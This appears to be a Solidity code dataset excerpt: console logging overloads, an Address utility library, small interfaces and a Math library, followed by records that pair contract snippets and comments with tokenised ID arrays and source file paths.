function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
interface IController {
function dao() external view returns (address);
function guardian() external view returns (address);
function isDaoOrGuardian(address sender) external view returns (bool);
function setDao(address _dao) external returns (bool);
function setGuardian(address _guardian) external returns (bool);
function feesOwner() external view returns (address);
function pausedIssuance() external view returns (bool);
function setFeesOwner(address _feesOwner) external returns (bool);
function setPausedIssuance(bool _pausedIssuance) external returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
/**
* @dev Interface of the the optional methods of the ERC20 standard as defined in the EIP.
*/
interface IERC20Optional {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
import "./IEToken.sol";
interface IETokenFactory {
function getController() external view returns (address);
function setController(address _controller) external returns (bool);
function createEToken(string memory name, string memory symbol) external returns (IEToken);
}
// SPDX-License-Identifier: GNU
pragma solidity ^0.8.1;
library Math {
function abs(uint256 a, uint256 b) internal pure returns (uint256) {
return (a > b) ? a - b : b - a;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
|
internal scaling factor (18 decimals)
|
uint256 internal constant sFactorI = 1e18;
| 1,224,813 |
[
1,
7236,
10612,
5578,
261,
2643,
15105,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
2713,
5381,
272,
6837,
45,
273,
404,
73,
2643,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x19574cc6E4A681A8C68eE2b901c8A4933D366068/sources/contracts/facets/MethodsExposureFacet.sol
|
@notice Gets the facet that supports the given selector. @dev If facet is not found return address(0). @param _functionSelector The function selector. @return facetAddress_ The facet address.
|
function facetAddress(bytes4 _functionSelector) external view override returns (address facetAddress_) {
return address(0);
}
| 16,601,615 |
[
1,
3002,
326,
11082,
716,
6146,
326,
864,
3451,
18,
225,
971,
11082,
353,
486,
1392,
327,
1758,
12,
20,
2934,
225,
389,
915,
4320,
1021,
445,
3451,
18,
327,
11082,
1887,
67,
1021,
11082,
1758,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
11082,
1887,
12,
3890,
24,
389,
915,
4320,
13,
3903,
1476,
3849,
1135,
261,
2867,
11082,
1887,
67,
13,
288,
203,
3639,
327,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x581607efa8Aa662D3518254a71Cdd3C020A25C2F/sources/XAIPEPETSUKA.sol
|
set as marketing wallet
|
marketingWallet = address(0x0E50aE084d03d52FE161D65a69195781eB50a264);
| 3,583,019 |
[
1,
542,
487,
13667,
310,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
